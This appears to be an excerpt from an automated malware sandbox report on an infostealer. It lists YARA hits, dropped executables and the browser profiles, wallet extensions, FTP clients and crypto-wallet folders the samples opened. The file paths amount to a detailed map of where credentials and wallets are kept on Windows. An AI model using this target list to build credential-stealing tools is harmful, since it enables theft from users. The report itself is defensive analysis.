Source: Yara match	File source: 00000027.00000002.3340338956.0000000001097000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3222497122.0000000000041000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3230829652.0000000000C9B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3113201257.000000000129E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2368421842.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.3324835217.0000000004A70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3014293851.000000000159E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.3337452066.0000000000181000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.3322904939.0000000000181000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2416316812.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9NWW1UIUAOJA8NFOZHWEDA.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef2532c0b1.exe PID: 1016, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2167852382.0000000000B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s/Electrum-LTCDuOKvC'
Source: 26e226f915.exe	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: 26e226f915.exe	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: file.exe, 00000000.00000003.2197812548.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
